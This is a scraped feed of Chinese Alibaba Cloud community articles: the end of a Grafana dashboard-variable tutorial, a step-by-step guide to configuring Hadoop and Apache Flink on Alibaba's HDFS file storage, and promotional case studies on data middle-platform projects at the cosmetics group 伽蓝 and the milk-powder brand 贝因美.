      image.png

      4.7.1、创建数据源变量Datasource

      如果Dashboard中图表所需的数据分别存储于不同的数据源中,即需的各变量单独存储在一个Datasource数据源中,则需要新建一个数据源变量。
      若所有图表的数据源均为同一个则可以直接创建查询变量。
      配置选项如下:
      1)General=总则。
      Name:变量名称,要求变量名唯一,且不包含空白字符。
      Label:变量在下拉列表中中的名称。
      Hide:隐藏该变量的下拉选择框,即在Dashboard中不展示。
      Type:定义变量类型,选择DataSource。
      Data source options=数据源选项。
      Type:数据源类型。
      Instance name filter:实例(数据源)名称选择或匹配规则,默认将会匹配所有上述类型的数据源。
      2)选择设置Selection Options。
      Multi-value:是否允许多选。
      Include All option:是否包括所有选项。
      3)Preview of values=匹配到的数据源名称预览。
      配置示例:
      image.png
      选择“add”添加该变量。
      image.png

      4.7.2、创建查询变量Query

      如果变量的值需要通过查询得到,所以要新建查询变量Query。
      配置选项如下:
      1)General=总则。
      Name:变量名称,要求变量名唯一,且不包含空白字符。
      Label:变量在下拉列表中中的名称。
      Hide:隐藏该变量的下拉选择框,即在Dashboard中不展示。
      Type:定义变量类型,选择 Query。
      2)Query Options=查询选项。
      Data source:数据源名称。
      Refresh:更新变量选择列表(变量下拉列表中的值)。可选值 never(从不)、On Dashboard Load(Dashboard加载完成之前更新,这会减慢加载速度) 、On Time Range Change(如果变量选项包含一个时间范围过滤,即和时间相关,或者依赖dashboard时间范围选择)。
      Query:查询条件。根据数据源不同使用不同的查询方式,表达式书写规则因数据源不同而不同, 比如mysql,InfluxDB、ES数据库都用各自的查询语法。
      Regex:正则表达式.用于过滤Query返回的数据(可能我们只需要Query返回中的部分数据,可选。
      Sort 定义下拉选项的顺序.设置为Diasble则表示保持按查询返回的数据排序。
      3)选择设置Selection Options。
      Multi-value:是否允许多选。
      Include All option:是否包括所有选项.。即添加一个 All 选项,该选项表示包含所有变量值
      Custom all value:默认添加的ALL选项会包含同查询表达式绑定的所有值,这些值可能会有很多,这会带来性能问题,这种情况下,我们可以指定一个自定义all值,比如一个通配符正则表达式(globs 或 lucene 语法的表达式),以减少all所包含的数据量。
      4)Preview of values=匹配到的数据源名称预览。
      配置示例:
      image.png
      添加成功:
      image.png
      Dashboard显示:
      image.png

      4.7.3、变量应用于图表

      当变量设置完成后,Dashboard上方将呈现已设置的变量选择框。但是此时的变量并不能影响下发图表的呈现内容。而是需要将已设置的变量在每个图表中进行配置。
      以Elasticsearch数据类型为例:
      编辑图表,在Query部分添加映射条件。即通过变量名获取变值,并赋值给图表中使用的字段。
      例如下图中示例为:
      city_name:$city_name_var
      通过上述设置的变量名city_name_var,获取变量$city_name_var,并指向本图表中使用的字段city_name。
      当有多个变量同时作用于一个图表时,变量之间通过逻辑关系AND或OR连接(注:AND或OR需大写)。
      例如下图中示例:
      city_name:$city_name_var AND manufacturer:$manufacturer_var
      image.png
      效果如图所示:
      image.png
      筛选条件后:
      image.png
      注:当需要将某几个数据源从多个名称相近的数据源中独立取出使用时,不妨尝试将需要的数据源重新接入,然后将其名称按照一定的规律设置,然后通过设置datasource变量来实现对指定数据源的应用。
      image.png
      image.png
      image.png

      附录

      1、术语

      Name Describe
      Dashboard A set of one or more panels, organized and arranged into one or more rows, that provide an at-a-glance view of related information.
      Data source A file, database, or service providing the data. Grafana supports a several data sources by default, and can be extended to support additional ones through plugins.
      Graph A commonly-used visualization that displays data as points, lines, or bars.
      Panel Basic building block in Grafana, composed by a query and a visualization. Can be moved and resized within a dashboard.
      Plugin An extension of Grafana that allows users to provide additional functionality to enhance their experience. The types of plugins currently supported are:
      Plugin App plugin:Extends Grafana with a customized experience. It includes a set of panel and data source plugins, as well as custom pages.
      Plugin Data source plugin: Extends Grafana with supports additional data sources in Grafana.
      Plugin Panel plugin:Extends Grafana with additional visualization options.
      Query Used to request data from a data source. The structure and format of the query depend on the specific data source.
      Time series A series of measurements, ordered by time. Time series are stored in data sources and returned as the result of a query.
      Visualization A graphical representation of query results.

      2、参考资料

      官方文档https://grafana.com/docs/grafana/latest/
      安装工具https://grafana.com/docs/grafana/latest/installation/rpm/
      安装工具https://blog.csdn.net/kai172142xiang/article/details/102770394
      安装工具https://www.cnblogs.com/imyalost/p/9873641.html
      安装工具https://blog.csdn.net/kai172142xiang/article/details/102770394
      安装工具https://www.jianshu.com/p/c94d3b57f529?from=timeline&isappinstalled=0
      环境配置https://blog.csdn.net/qq_39135609/article/details/82418461
      安装插件https://grafana.com/grafana/plugins?utm_source=grafana_plugin_list
      安装插件https://grafana.com/docs/grafana/latest/plugins/installation/
      安装插件https://baijiahao.baidu.com/s?id=1603802149984328702&wfr=spider&for=pc
      变量设置https://grafana.com/docs/grafana/latest/reference/templating/
      变量设置https://www.cnblogs.com/shouke/p/10420836.html
      变量设置https://play.grafana.org/d/000000015/elasticsearch-templated?orgId=1
      视频教程https://www.bilibili.com/video/BV1Vb411A7zt?share_medium=android&share_source=more&bbid=XY5D0955D216172C8DFA45ADD1B0BD2C2E1DF&ts=1585630230167

      ]]>
      在文件存储 HDFS 上使用 Apache Flink Fri, 02 May 2025 09:39:04 +0800 111.jpg
      镜像下载、域名解析、时间同步请点击 阿里巴巴开源镜像站

      一、准备工作

      在文件存储HDFS上使用Apache Flink,需要先完成以下准备工作。

      说明 本文档的操作步骤中涉及的安装包版本号、文件夹路径,请根据实际情况进行替换。

      1. 开通文件存储HDFS服务并创建文件系统实例和挂载点,详情请参见HDFS快速入门
      2. 在计算节点上安装JDK。版本不能低于1.8。
      3. 在计算节点上安装Scala。Scala下载地址:官方链接,其版本要与使用的Apache Flink版本相兼容。
      4. 下载Apache Hadoop压缩包。Apache Hadoop下载地址:官方链接。建议您选用的Apache Hadoop版本不低于2.7.2,本文档中使用的Apache Hadoop版本为Apache Hadoop 2.7.2。
      5. 下载Apache Flink压缩包。在文件存储HDFS上使用的Flink的版本必须为1.9.0及以上,Apache Flink下载地址:官方链接。本文档中使用的Flink版本为官方提供的预编译版本Flink 1.9.0。

      二、配置Apache Hadoop

      1、执行如下命令解压Apache Hadoop压缩包到指定文件夹。

      tar -zxvf hadoop-2.7.2.tar.gz -C /usr/local/

      2、修改hadoop-env.sh配置文件。

      • 执行如下命令打开hadoop-env.sh配置文件。
      vim /usr/local/hadoop-2.7.2/etc/hadoop/hadoop-env.sh
      • 配置JAVA_HOME目录,如下所示。
      export JAVA_HOME=/usr/java/default

      3、修改core-site.xml配置文件。

      • 执行如下命令打开core-site.xml配置文件。
      vim /usr/local/hadoop-2.7.2/etc/hadoop/core-site.xml
      • 在core-site.xml配置文件中,配置如下信息,详情请参见挂载文件系统
      <configuration>
      <property>
           <name>fs.defaultFS</name>
           <value>dfs://x-xxxxxxxx.cn-xxxxx.dfs.aliyuncs.com:10290</value>
           <!-- 该地址填写您的挂载点地址 -->
      </property>
      <property>
           <name>fs.dfs.impl</name>
           <value>com.alibaba.dfs.DistributedFileSystem</value>
      </property>
      <property>
           <name>fs.AbstractFileSystem.dfs.impl</name>
           <value>com.alibaba.dfs.DFS</value>
      </property>
      <property>
           <name>io.file.buffer.size</name>
           <value>8388608</value>
      </property>
      <property>
           <name>alidfs.use.buffer.size.setting</name>
           <value>true</value>
      </property>
      <property>
           <name>dfs.usergroupservice.impl</name>
           <value>com.alibaba.dfs.security.LinuxUserGroupService.class</value>
      </property>
        <property>
           <name>dfs.connection.count</name>
           <value>16</value>
      </property>
      </configuration>

      4、修改mapred-site.xml配置文件。

      • 执行如下命令打开mapred-site.xml配置文件。
      vim /usr/local/hadoop-2.7.2/etc/hadoop/mapred-site.xml
      • 在mapred-site.xml配置文件中,配置如下信息。
      <configuration>
      <property>
            <name>mapreduce.framework.name</name>
            <value>yarn</value>
      </property>
      </configuration>

      5、修改yarn-site.xml配置文件。

      • 执行如下命令打开yarn-site.xml配置文件。
      vim /usr/local/hadoop-2.7.2/etc/hadoop/yarn-site.xml
      • 在yarn-site.xml配置文件中,配置如下信息。
      <configuration>
      <property>
        <name>yarn.resourcemanager.hostname</name>
        <value>xxxx</value>
        <!-- 该地址填写集群中yarn的resourcemanager的hostname -->
      </property>
      <property>
          <name>yarn.nodemanager.aux-services</name>
          <value>mapreduce_shuffle</value>
      </property>
      <property>
        <name>yarn.nodemanager.aux-services.mapreduce.shuffle.class</name>
        <value>org.apache.hadoop.mapred.ShuffleHandler</value>
      </property>
      <property>
        <name>yarn.nodemanager.resource.memory-mb</name>
        <value>16384</value>
          <!-- 根据您当前的集群能力进行配置此项 -->
      </property>
      <property>
        <name>yarn.nodemanager.resource.cpu-vcores</name>
        <value>4</value>
           <!-- 根据您当前的集群能力进行配置此项 -->
      </property>
      <property>
        <name>yarn.scheduler.maximum-allocation-vcores</name>
        <value>4</value>
          <!-- 根据您当前的集群能力进行配置此项 -->
      </property>
      <property>
        <name>yarn.scheduler.minimum-allocation-mb</name>
        <value>3584</value>
          <!-- 根据您当前的集群能力进行配置此项 -->
      </property>
      <property>
        <name>yarn.scheduler.maximum-allocation-mb</name>
        <value>14336</value>
          <!-- 根据您当前的集群能力进行配置此项 -->
      </property>
      </configuration>

      6、修改slaves配置文件。

      • 执行如下命令打开slaves配置文件。
      vim /usr/local/hadoop-2.7.2/etc/hadoop/slaves
      • 在slaves配置文件中,配置如下信息。
      node1
      node2

      7、配置环境变量。

      • 执行如下命令打开/etc/profile配置文件。
      vim /etc/profile
      • 在/etc/profile配置文件中,配置如下信息。
      export HADOOP_HOME=/usr/local/hadoop-2.7.2
      export HADOOP_CLASSPATH=$($HADOOP_HOME/bin/hadoop classpath)
      export HADOOP_CONF_DIR=$HADOOP_HOME/etc/hadoop
      export PATH=$HADOOP_HOME/bin:$HADOOP_HOME/sbin:$PATH
      • 执行如下命令使配置生效。
      source /etc/profile

      8、执行如下命令配置文件存储HDFS的SDK。您可以单击下载文件存储HDFS的SDK(此处以aliyun-sdk-dfs-1.0.3.jar为例),将其部署在Apache Hadoop生态系统组件的CLASSPATH上,详情请参见挂载文件系统

      cp aliyun-sdk-dfs-1.0.3.jar  /usr/local/hadoop-2.7.2/share/hadoop/hdfs

      9、执行如下命令将${HADOOP_HOME}文件夹同步到集群的其他节点。

      scp -r hadoop-2.7.2/ root@node2:/usr/local/

      三、验证Apache Hadoop配置

      完成Apache Hadoop配置后,不需要格式化namenode,也不需要使用start-dfs.sh来启动HDFS相关服务。如需使用yarn服务,只需在resourcemanager节点启动yarn服务,具体验证Apache Hadoop配置成功的方法请参见验证安装

      四、编译flink-shade

      1、下载 flink-shade源码到指定目录。

      git clone https://github.com/apache/flink-shaded.git  ~/flink-shade

      2、修改flink-shade源码中的pom文件。修改Hadoop版本为您的集群中使用的版本,在本文档中使用的Hadoop版本为2.7.2。

      vim  ~/flink-shaded/flink-shaded-hadoop-2-parent/pom.xml

      1.png
      在依赖项中添加文件存储HDFS SDK,在本文档使用文件存储HDFS SDK版本为1.0.3。

      vim  ~/flink-shaded/flink-shaded-hadoop-2-parent/flink-shaded-hadoop-2/pom.xml
      ...
      <dependency>
             <groupId>com.aliyun.dfs</groupId>
             <artifactId>aliyun-sdk-dfs</artifactId>
             <version>1.0.3</version>
      </dependency>
      ...

      2.png
      3、编译打包。

      cd ~/flink-shaded
      mvn package -Dshade-sources

      五、配置Apache Flink

      1、执行如下命令解压Flink压缩包到指定文件夹。

      tar -zxvf flink-1.9.0-bin-scala_2.11.tgz -C /usr/local/

      2、拷贝flink-shade编译的flink-shaded-hadoop-2-uber-x.y.z.jar到Flink的lib目录下。

      cp  ~/flink-shaded/flink-shaded-hadoop-2-parent/flink-shaded-hadoop-2-uber/target/flink-shaded-hadoop-2-uber-2.7.2-11.0.jar /usr/local/flink-1.9.0/lib/

      说明

      • 在使用Apache Flink之前必须在您的集群环境变量中配置HADOOP_HOME,HADOOP_CLASSPATH和HADOOP_CONF_DIR,详情请参见配置Apache Hadoop中的步骤7:配置环境变量。
      • 如果您使用的Flink版本中已经包含flink-shaded-hadoop-2-uber-x.y.z.jar,则需要使用编译flink-shade中编译的flink-shaded-hadoop-2-uber-x.y.z.jar进行替换。
      • 如果您需要对Flink进行额外的配置,请参考官方文档:配置操作指南

      六、验证Apache Flink配置

      使用Flink自带的WordCount.jar对文件存储HDFS上的数据进行读取,并将计算结果写入到文件存储HDFS,在测试之前需要先启动yarn服务。
      1、生成测试数据。此处使用Apache Hadoop 2.7.2自带的jar包hadoop-mapreduce-examples-2.7.2.jar中的randomtextwriter方法在文件存储HDFS上生成测试数据。

      /usr/local/hadoop-2.7.2/bin/hadoop jar  /usr/local/hadoop-2.7.2/share/hadoop/mapreduce/hadoop-mapreduce-examples-2.7.2.jar 
      randomtextwriter 
      -D mapreduce.randomtextwriter.totalbytes=10240 
      -D mapreduce.randomtextwriter.bytespermap=1024 
      -D mapreduce.job.maps=4  
      -D mapreduce.job.reduces=2  
      dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/input 

      其中,dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290为文件存储HDFS的挂载点,请根据您的实际情况替换。
      2、查看在文件存储HDFS上生成的测试数据。

      /usr/local/hadoop-2.7.2/bin/hadoop fs -cat dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/input/*

      其中,dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290为文件存储HDFS的挂载点,请根据您的实际情况替换。
      3、提交wordcount程序。

      /usr/local/flink-1.9.0/bin/flink run 
      -m yarn-cluster -yn 1 -yjm 1024 -ytm 1024 
      /usr/local/flink-1.9.0/examples/batch/WordCount.jar 
      --input dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/input 
      --output dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/output 

      其中,dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290为文件存储HDFS的挂载点,请根据您的实际情况替换。
      4、查看在文件存储HDFS上的结果文件。

      /usr/local/hadoop-2.7.2/bin/hadoop fs -cat dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290/flink-test/output

      其中,dfs://f-xxxxx.cn-xxx.dfs.aliyuncs.com:10290为文件存储HDFS的挂载点,请根据您的实际情况替换。
      3.png

      阿里巴巴开源镜像站 提供全面,高效和稳定的镜像下载服务。钉钉搜索 ' 21746399 ‘ 加入镜像站官方用户交流群。”

      ]]>
      美妆国货的转型勇气:伽蓝All in数据中台 Fri, 02 May 2025 09:39:04 +0800 有别于往年国外大牌独领风骚,近几年,借着国潮的“东风”,国货美妆迎来了空前的热度。在和外资品牌的博弈里面,本土品牌连续几年整体的市场份额持续上升。

      这其中,拥有“国货之光”自然堂的伽蓝集团俨然成为国货美妆的领跑者:去年双11期间,“国货之光”自然堂凭借全网7.47亿的销售额,拿下天猫旗舰店美妆国货冠军、天猫美妆类目国货冠军、全网美妆国货冠军“三料王”。

      20200401144514_6247.jpg

      伽蓝集团2001年创立于上海,是一家高科技型美妆企业,致力于为消费者提供世界一流品质的产品和服务、向世界传播东方美学价值。先后创立了:中国原创高端美妆品牌——美素、源自喜马拉雅的自然主义品牌——自然堂、敏感肌肤护肤品牌——植物智慧、Z时代高功效护肤品牌——春夏、专业功效性护肤品牌——珀芙研、专业小众潮妆——COMO等六个品牌;坚持世界顶尖科技与东方美学艺术完美结合,在研发、制造、零售、客服、运营、形象等各方面实现科技化,目前已经通过自主研发与科技创新,拥有“3D皮肤模型”、“外太空护肤科研”、“表观遗传学应用”等多项世界领先的尖端科技。

      虽然当下花团锦簇,不过随着新势力不断崛起,以及外资品牌对中国市场重视程度的不断提高,诸如伽蓝集团这样的国货美妆“头部玩家”也在未雨绸缪,思考如何应对今后日益激烈的市场环境。

      数智化转型升级是未来的趋势,但是在实际操作中,具体该怎样有序推进数智化转型升级?伽蓝集团与阿里云合作的数字中台项目,也许可以给美妆行业一些借鉴。

      从懵懂到All in

      在阿里云高级项目管理专家董申曦看来,对于数智化转型,伽蓝集团的态度非常坚决。

      2018年,伽蓝集团萌发了要做数字中台的想法,但具体到如何开展却还处于懵懂状态。直到年末时,伽蓝团队受邀阿里巴巴ONE商业大会。想法与现实邂逅,参加大会的伽蓝团队对数智化战略转型以及组织变革有了全新的认识。这其中,包括了伽蓝集团董事长郑春颖。

      20200401144515_1950.jpg

      在郑春颖的积极推动下,2019年,伽蓝集团数智化转型迅速提上日程,在内部成立了伽蓝数智化战略转型委员会,而该委员会的总负责人正是郑春颖本人,伽蓝集团的数智化中台项目成了董事长工程。

      数智化转型并非一朝一夕之事,与阿里云合作数据中台项目成为伽蓝集团的切入点。在伽蓝看来,数据中台是企业完成数智化转型的必经之路。

      数据中台本质上是一种数字技术。通过对数据进行沉淀、管理和应用,生成一系列的数据产品,数据产品包括驾驶舱、新品策略、消费者运营、终端销售、供应链策略等,这些数据产品具有规范化、标准化、资产化、智能化的特征,用这些数据指导营销策略、人群运营、产品创新、销售计划、行业趋势、舆情判断、供应链管理等。

      2019年11月,伽蓝集团数据中台项目正式启动,并将于2020年6、7月份左右完成中台搭建,正式上线项目一期。在数据中台建设上,阿里云有着一套完整的方案,整个建设过程一般是分成数字资产调研、MRD蓝图设计、PRD功能设计、数据产品开发、上线5个步骤。数据中台项目目前处于PRD功能设计阶段。

      据董申曦介绍,在数据中台项目一期中,阿里云针对八个域做了一些筛选、调研、设计和分析,这八个域分别是会员、积分、消费者、商品、营销、门店、BA(导购)、渠道销售。“这八个域里面我们根据调研结果,帮他们设计指标洞察的维度,核心的指标,上线之后会给到他们对于这几个部分的数据的支撑和洞察。虽然是八个域,但本质是以消费者为中心的数据联动和洞察。”

      事实上,除了数据中台的应用,伽蓝在2018年就与阿里云合作全面上云,钉钉在线帮助伽蓝顺利度过疫情期间的远程办公。可以说,伽蓝基本实现了基础设施云化、触点数智化、业务在线化、运营数据化和决策智能化,完整走完了阿里云为零售行业制定的数智化转型“五部曲”。

      随着新消费群体的快速成长与变化,产业链上下游变得越来越复杂,新品创新力日益成为企业的核心竞争力,各个环节需要高度协同,才能形成长期竞争优势。而全链路数智化能力,就是未来化妆品牌真正比拼能力的基础条件。

      打破内部数据孤岛

      20200401144517_2653.png

      在伽蓝集团市场调研部高级总监罗欢看来,数据中台的存在,可以更加高效地帮助伽蓝打破原有界限,实现品牌之间、渠道之间、线上与线下的数据共通;更好地帮助企业理解数据、运营数据,实现精准化营销策略、消费者人群化运营和创新产品研发导向。

      伽蓝集团旗下拥有自然堂、美素、植物智慧、春夏、COMO等6个美妆品牌,各品牌又拥有商场渠道、KA渠道、电商渠道等。不同的渠道之间又是一个独立运营的体系,所以伽蓝内部原本的系统建设呈现也是烟囱式。这就造成了不同品牌之间,不同的渠道之间,数据会比较独立,容易形成数据孤岛,无法发挥数据效益最大化。

      罗欢举了一个例子,“比如对流失客户的定义。在A品牌,用户N天没有买将被定为流失客户;但在B品牌,可能要X天没有购买才能被定为流失客户。这种定义的不同,会造成我们做整体分析的时候的不准确。”

      事实上,数据孤岛问题以及数据碎片化是不少零售企业的痼疾。如何梳理和整理这些数据,使之标准化、规范化,并将整个链路打通,成为闭环,成为这些企业数智化转型的最根本的诉求。

      数据中台的存在,则是有效解决这些问题的一剂良方。通过梳理和整合原本“各自为政“的数据,打造自己企业本身的数据中台的能力,可以为企业业务的分析、洞察提供支撑。而这也是伽蓝集团以数据中台为数智化转型起点的一大重要原因。

      尽管完整的数据中台要到年中上线,但作为与经常与数据打交道的市调岗位,罗欢目前已经感受到了数据中台为日常工作带来的高效。

      在营销方面,市场调研的工作是覆盖产品全生命周期的,从前期的洞察到后面营销阶段,都需要评估各阶段的有效性。罗欢说:“过去,我们判断效果是否达到目标,采用的是传统抽样的方式,比如参加到我们活动里面的人和没有参加到我们活动的人之间的比较,对我们品牌形象有没有变化,对购买力有没有变化等。而现在消费者的触点全都被数智化沉淀下来,再通过自有的数据产品,获得营销效果方面的一些洞察,会比传统数据收集方式高效很多。”

      罗欢所提及的数据获取只是很小的一部分,董申曦以“人、货、场”中的“人”为例,介绍了数据中台的场景化运用。

      原来线上人群与线下人群之间各自独立,企业无法去做线上线下的互相引流。数据中台建设完成后,便可以打破其中的隔阂,统一到数据中台里面去做全盘的分析。比如通过商品的品类做差异化分析,引导线下经常购买某类产品的人员去往线上,从提高客单价的方向去引流;线上则可以发一些线下的优惠券,相当于可以做线上线下的互相引流。这些在原来没有数据中台的时候,是很难做到的。

      在董申曦看来,预计到7月份数据中台一期建设完成以后,伽蓝整体的数智化运营能力会相对比之前上一个台阶。

      二期聚焦供应链

      目前与阿里云合作的数据中台一期项目,除了作用于营销层面,也让伽蓝原有的组织架构发生了翻天覆地的变化。

      “为配合我们数智化的转型,整个集团内部也是做了一个架构方面比较大的调整。”罗欢表示,伽蓝组织模式从金字塔型变革为平台型,分为前台业务组织、中台支持组织和后台管理组织三类。其中中台组织包括研发中心、供应链中心、大数据中心等,以更高效地赋能前台业务组织。

      “这可以说是(伽蓝集团)十年以来最大的一次变革。” 在伽蓝工作近十年的罗欢如是说。

      据罗欢介绍,新营销、新组织只是伽蓝数智化转型中的两大方向。数据中台完成之后还将不断迭代,延伸至新供应链、新金融等领域。

      “数据中台一期的核心目标是围绕消费者的,以消费者的运营为主来洞察整个的人货场三个部分的结合。” 董申曦透露,“未来,二期的规划重点将集中于供应链,以伽蓝自身供应链为主,对其供应链做一些洞察设计,从生产、铺货、调拨、出入库等方面做深度的调研、设计和分析。”

      “伽蓝一直致力于打造成为高科技的美妆企业。我们希望能够拥抱消费者,去跟消费者建立连接,最重要的是为消费者提供更加适合他们,更优质的产品和服务。同时,作为美妆行业的一个引领者,我们也希望能够起到一个带头的作用,去利用数智化的力量,去创新美妆行业一些新的商业模式,重构我们的核心竞争力。”罗欢认为,整体数智化之后能够赋能到整个产业链,未来消费者的需求会更加个性化,始终围绕以消费者为中心进行数智化转型,能够让伽蓝最终在消费者心智中站稳脚跟。

      更多关于数智化转型、数据中台内容可扫码加入数智洞察社一起交流哦
      5

      ]]>
      贝因美:为什么奶粉品牌也需要数据中台? Fri, 02 May 2025 09:39:04 +0800   过去十年间,大消费、新零售,在中国是迭代最快、变革最大的行业,没有之一。

        10年前,快消品的分销,仍处于传统的“逐级+市场专员”的阶段。电商的影响尚不显著,“线上+线下”全渠道的概念还远未诞生。

        在当时,品牌商最关心的事,是经销商进了多少货。至于消费者,在链条的另外一端,距离很远,也不知道是谁。
      1.jpg

        10年后,线上与线下的渠道边界已然模糊,销售层级明显压缩,品牌商开始直面消费者。

        这就是所谓的“智慧零售”时代。

        当下,几乎所有行业都在数字化转型。大消费当然不例外,有些品牌靠自我迭代,更快捷的路径是依靠互联网巨头。

        12月25日,国内奶粉巨头贝因美与阿里云达成的合作,也是如此考虑。

        二者将基于阿里云数字技术、阿里经济体零售生态,打造智慧门店、数据中台,以及适应企业发展的“最强”业务大脑。

        数据中台有何用?

        “数据中台”,可能是过去一年,在国内互联网圈、投资圈最火的名词。头部互联网公司且不必说,银行这样的金融机构都在搭建中台。

        阿里巴巴即将和贝因美一起打造数据中台。贝因美身为婴童品牌商,为何需要数据中台?

        而且,何为数据中台?

        通俗而言,在负责前方攻城略地的“前台”、负责提供支援的“后台”之间,搭建一个可以反复使用的“数据与技术”平台,就是数据中台。

        数据中台承前启后,输出标准化的技术方案,以解决后台无法快速跟上前台业务需求的问题,前台的战斗力也由此放大。

        在贝因美所在的奶粉行业,线下母婴店与电商,是最重要的两个销售渠道,占比持续提升。

        然而,这两个渠道却是相互割裂的。

        母婴店一般是连锁、或者本地企业,品牌商对其控制力有限。电商,则是品牌商自营。
      2.jpg
        割裂的结果是:线上线下的会员信息无法统一、营销活动难以协调、产品的终端销售情况经过层层反馈的时间成本和信息损耗也很高。

        这就是贝因美作为品牌商,也需要数据中台的原因。

        几年前,贝因美就发现:前端的实体店、网店、微博、微信、新媒体互动等有非常显性的流量数据。而后台又是订单处理、结算系统、库存管理、客户关系管理等业务数据处理平台。

        前后台如何全面链接?前端的流量如何转化为后台可以处理的数据订单?如何满足个性化的需求?甚至于如何让“反向定制”、“订单驱动”等成为可能?贝因美创始人谢宏觉得,这些才是转型升级的关键。

        通过数据中台,贝因美可将不同部门产生的数据标准化、资产化、服务化。

        举个例子,在新兴的互联网营销活动中获取的新客、或是在线下门店的访客,信息可以打通,形成完整的用户画像,洞察消费者,把顾客消费周期的宽度和长度做得更好。

        “大家都希望能够上下打通,建立全渠道,但说起来容易、做起来难,这中间有很长的路要走,而且走起来非常艰难。” 贝因美创始人谢宏在个人的公众号中写道。

        与阿里云合作的意义,谢宏认为,是用“数智化”中台打通任督二脉。

        即新零售中最著名的理论:人、货、场的统一。数据中台的结果,是全域营销。

        全域营销正盛行

        线下门店的两大痛点,曾经让品牌商和零售商都痛不欲生。

        首先,不了解自己的顾客。

        这意味着无法针对性的营销,也不知道顾客到底喜欢什么。

        其次,总部无法对门店有效管控,或者品牌商无法及时收到零售商的数据反馈。

        这意味着,反馈链条之长:品牌商可能要过很久,才知道不同产品的销售情况,再制定对应的营销方案,再推送至门店,前前后后所费时间则更长。

        而互联网、新零售改变了这一切。

        如今,在瑞幸咖啡、完美日记等新零售的线下店,采用的是“手机端注册+在线下单+现场取货”模式,正是为了掌握用户数据和前端信息,意在运营效率。

        而对贝因美这样的快消品企业,打造这样的智慧门店,并不容易。

        因此,贝因美就需要像阿里云这样的技术能力、以及新零售经验,因地制宜,打通生产、流通及消费者服务环节。贝因美的各业务部门之间,实现“智联”。

        未来,全域营销的愿景是:

        一、以数据中台为工具,线上线下数据及时采集、存储、分析、共享。
        二、会员全域服务。更懂顾客,捕捉、分析消费者场景需求,把会员规模做大、服务做精、粘性做强。

        三、全渠道产品销售的实时反馈、动态分析,产品定位更贴近消费者的真实诉求。
        四、制定精准的营销方案并迅速落地,营销结果快速反馈,避免费用“黑洞”。

        过去,品牌商经过层层渠道反馈,才知道消费者的反应。现在,一秒钟就知道了。

        贝因美的组织架构也进行过调整,成立数据营销团队,同时将大客户、电商合并成立一个新的团队,与之对应的,是把传统做法升格为以消费者为核心、以数据赋能的人货场全域营销。

        一句话来形容,传统行业的核心竞争是“产品思维”,而互联网的核心竞争是“用户思维”。

        目前,贝因美有100万活跃用户。在会员服务上,“一切业务数据化”,就是贝因美的目标。

        不一样的“Z世代”

        实际上,变化的不仅有销售渠道(“场”)、产品(“货”),还有消费者(“人”)的变化。

        当90后、甚至于95后的“Z世代”成为新一代宝妈、宝爸,年轻人的心完全不一样,消费方式发生了变化,品牌商的战略也随之变化。

        首先,80后的成长环境,是第一次见到宝洁、肯德基、可口可乐的过程,残存着对进口品牌的额外好感。而在90后的成长过程中,甚至于宝马、奔驰等都是寻常,这就导致90后对进口品牌没有特别的迷恋,而是更加关注品质本身。因此,近年来,国潮涌动、国货品牌迅速崛起。

        对奶粉而言,品质更至关重要。贝因美的解决思路是:通过数据中台,把生产和销售环节链接起来,从原料采购到产品销售的全过程都有信息化、智能化的追溯系统。

        也就是说,消费者通过手机,就可以快捷查询产品生产和品质信息。

        贝因美的这套系统,就是传说中的“智能制造”:模块化、高度集成、过程透明。

        其次,Z世代的辣妈,除了高品质,还特别看重颜值。她们对产品的诉求,不仅仅是功能,而是要长得漂亮,陈列好看。

        于是,过去一年多时间里,“年轻”、“网红”是贝因美发展的两个关键词。

        第三,作为互联网原住民,Z世代的信息传播方式早已不同。短视频、直播、种草等社交媒体,才是他们认知的重要渠道。

        贝因美意识到这一点,因此与天猫一起,进行了多场工厂溯源直播、现场发货,称之为“看得见的新鲜”。并且,贝因美自建线上育婴顾问团队,通过直播实时互动,打造“育婴专家”的IP。

        2019年1-9月,贝因美总共开展了线上、线下各类型的消费者活动近5000场,精准覆盖目标人群500万+。

        效果很明显。前三季度,婴童渠道(线下母婴店)取得近90%的增长;双十一期间,贝因美粉丝数突破160万,同比增长45%,会员数同比增长218%,是天猫奶粉类目第一个突破百万买家数的品牌。

        数据中台上线之后,贝因美的用户价值挖掘将会被进一步重构。

        国产奶粉的逆袭

        曾几何时,国产奶粉品牌被进口品牌完全压制,几无招架之力。

        近些年,国产奶粉品牌在奶源、配方、生产等环节持续加大投入。“最严奶粉新政”《婴幼儿配方乳粉产品配方注册管理办法》出台,诸多质量不合格的奶粉被淘汰出局,业内优胜劣汰。

        在这种形势下,贝因美等国产品牌龙头,正在不断夺回市场份额。

        根据尼尔森发布的《2018年中国婴幼儿配方奶粉市场环境洞察》,国货奶粉的市场份额从2017年的40.7%上升至2018年的43.7%。

        智慧零售给予了国产品牌一次弯道超车的机会。

        在A股,家电、食品饮料等大消费板块被视为信仰一般的存在,是核心资产,它们现金流充沛、且受益于行业集中度提高。而被视为朝阳赛道的母婴行业,其突破路径恰恰在于数字化转型。

        人、货、场的重构,是以“人”为核心,是供应链、线上线下的高度整合,这一切都建立在智能化的基础设施之上。

        顶着“国产第一奶粉品牌”光环的贝因美,在寻找变局。

        因为在产品、营销方面的持续创新,仅在近期,贝因美就接连斩获2019中国婴童产业原点奖“、“年度最佳标杆企业大奖”、宝宝树“2019年度行业风向标奖”等奖项,创始人谢宏亦荣获“中国商业70 年功勋模范人物”等称号。

        此次,贝因美与阿里云的合作,是云计算改造传统行业的一个切面,是消费互联网与产业互联网的一种融合,也是互联网的下半场。
      3.jpg

        在这个零售与营销模式急剧变化的时代,只有不断变革、心怀技术的企业,才有未来。

      更多关于数智化转型、数据中台内容可扫码加入数智洞察社一起交流哦

      5

      ]]>
      蓝光地产:阿里数据中台带来巨大价值 Fri, 02 May 2025 09:39:04 +0800 互联网经济时代下,市场环境多变,用户需求更加个性,传统企业纷纷进入转型、升级期。

      对于更容易受政策影响的地产行业而言,只有在不同时期快速地对战略发展方向做出新定位,才有可能在大浪淘沙环境里面找到可以拼杀的地方。

